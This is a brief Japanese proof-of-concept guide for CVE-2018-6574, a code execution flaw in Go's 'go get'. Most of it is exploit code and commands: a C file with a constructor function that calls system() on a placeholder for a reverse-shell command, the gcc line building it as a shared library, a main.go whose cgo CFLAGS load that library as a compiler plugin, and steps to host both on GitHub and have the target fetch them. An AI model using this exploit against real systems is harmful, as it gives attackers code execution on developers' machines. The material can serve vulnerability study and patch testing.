CVE-2018-6574

再現手順:

1. 悪意のあるコマンド（リバースシェル）を含む .c ファイルを作成します:

#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
  system("<insert your command here>");
}

2. GCC でコンパイルします。ターゲットと同じアーキテクチャと OS（例: Linux x86_64）でコンパイルする必要があります:

gcc -shared -o attack.so -fPIC attack.c

3. Go に悪意のあるプラグインを使用させるヘッダを含む main.go ファイルを作成します:

package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
//   return f();
// }
//
// int fortytwo(){
//   return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}

4. ファイル main.go と attack.so を GitHub リポジトリにホストします
5. ターゲットマシンでコマンド go get github.com/<your-handle>/<your-hepo> を実行します
6. 満足しましょう